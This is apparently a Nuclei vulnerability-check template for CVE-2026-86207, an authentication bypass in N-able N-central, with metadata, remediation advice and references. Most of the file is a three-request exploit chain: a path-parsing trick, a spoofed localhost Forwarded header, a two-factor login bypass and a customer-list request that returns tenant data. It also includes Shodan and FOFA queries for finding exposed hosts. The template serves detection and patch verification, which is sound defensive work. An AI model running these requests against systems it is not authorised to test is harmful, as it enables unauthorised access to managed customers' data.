CVE-2026-86207: N-able N-central - Authentication Bypass

id: CVE-2026-86207

info:
  name: N-able N-central - Authentication Bypass
  author: rapid7,DhiyaneshDk
  severity: critical
  description: |
    An authentication bypass in N-central < 2026.3 HF 3 leads to authentication bypass in internal-only APIs.
  impact: |
    Attackers can bypass authentication, potentially gaining unauthorized access to internal APIs and sensitive data.
  remediation: |
    Upgrade N-able N-central to version 2026.3.1.13 (2026.3 Hotfix 3) or later.
    Hosted N-central environments have already been patched by the vendor.
  reference:
    - https://www.rapid7.com/blog/post/ve-cve-2026-86206-cve-2026-86207-n-able-n-central-authentication-bypass-fixed/
    - https://me.n-able.com/s/security-advisory/aArVy0000002LTNKA2/cve202686206-access-control-filter-bypass-allows-unauthorised-access-to-apis
    - https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF3_Release_Notes.htm
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-86207
    epss-score: 0.00734
    epss-percentile: 0.5244
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 3
    vendor: n-able
    product: n-central
    shodan-query: title:"N-central"
    fofa-query: title="N-central"
  tags: cve,cve2026,n-able,n-central,auth-bypass,2fa-bypass,soap,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /dms;/services/ServerUI HTTP/1.1
        Host: {{Hostname}}
        Forwarded: for="127.0.0.\1"
        Content-Type: text/xml; charset=utf-8
        SOAPAction: ""

        <?xml version="1.0" encoding="UTF-8"?>
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ei="http://ei.server.nable.com">
          <soapenv:Body>
            <ei:sessionHello>
              <ei:in0>3</ei:in0>
            </ei:sessionHello>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, 'SessionID')"
          - "contains(content_type, 'text/xml')"
        condition: and
        internal: true

    extractors:
      - type: regex
        name: session_id
        part: body
        group: 1
        regex:
          - '<SessionID[^>]*>([0-9]+)</SessionID>'
        internal: true

  - raw:
      - |
        POST /dms;/services/ServerUI HTTP/1.1
        Host: {{Hostname}}
        Forwarded: for="127.0.0.\1"
        Content-Type: text/xml; charset=utf-8
        SOAPAction: ""

        <?xml version="1.0" encoding="UTF-8"?>
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ei="http://ei.server.nable.com">
          <soapenv:Body>
            <ei:userTwoFactorLogin>
              <ei:sessionID>{{session_id}}</ei:sessionID>
              <ei:userID>1</ei:userID>
              <ei:password>dummy</ei:password>
            </ei:userTwoFactorLogin>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers:
      - type: dsl
        dsl:
          - "status_code == 500"
          - "contains_all(body, 'ConfigProfileUtils.getConfigProfile()', 'NullPointerException')"
        condition: and
        internal: true

  - raw:
      - |
        POST /dms;/services/ServerUI HTTP/1.1
        Host: {{Hostname}}
        Forwarded: for="127.0.0.\1"
        Content-Type: text/xml; charset=utf-8
        SOAPAction: ""

        <?xml version="1.0" encoding="UTF-8"?>
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ei="http://ei.server.nable.com">
          <soapenv:Body>
            <ei:customerList>
              <ei:in0>{{session_id}}</ei:in0>
              <ei:in1>1</ei:in1>
              <ei:in2>true</ei:in2>
              <ei:in3>false</ei:in3>
            </ei:customerList>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, 'customerListResponse', '<CustomerID', '<CustomerName')"
          - "contains(content_type, 'text/xml')"
        condition: and
# digest: 490a00463044022036ba8f8620f32e60b75d6a9a99bed89670a85f4e8fff28966672513fdb7b42840220176327e752df0d736f647f70f0570c14a0651a6dc6c6dfdf3691a70aa3a5b618:922c64590222798bb761d5b6d8e72950